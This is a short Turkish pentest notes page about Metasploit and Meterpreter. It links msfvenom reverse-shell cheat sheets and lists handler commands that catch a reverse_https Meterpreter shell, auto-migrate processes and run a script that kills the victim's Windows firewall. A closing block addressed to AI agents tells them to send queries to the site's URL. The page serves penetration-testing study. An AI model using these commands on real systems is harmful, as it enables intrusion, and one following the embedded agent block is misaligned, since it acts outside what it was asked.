# Metasoloit & Meterpreter & msfvenom

Create Backdoor All Format;

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}

{% embed url="<https://netsec.ws/?p=331>" %}

Eğer bir meterpreter oturumu alındıktan çok kısa bir süre sonra sonlanıdırılıyor ise (örneğin 5 saniye); bu durumda multi handler modülünde bulunan `AutoRunScript` parametresi kullanılarak, oturum elde edilir edilmez doğrudan auto bir şekilde migration işlemini gerçekleştiririr.

```
msf > use exploit/multi/handler
msf (handler) > set AutoRunScript multi_console_command -rc /root/mycommands.rb


<!-- The contents of /root/mycommands.rb include: -->
root@kali# cat /root/mycommands.rb
run post/windows/manage/smart_migrate
run post/windows/manage/killfw
```

Daha makul bir kullanım aşağıdaki şekildedir.

> ```
> msf>use exploit/multi/handler
> msf>set payload windows/meterpreter/reverse_https
> msf>set AutoRunScript post/windows/manage/migrate
> msf>set lhost <local IP>
> msf> set lport <local port>
> msf>exploit
> ```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/metasoloit-ve-meterpreter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
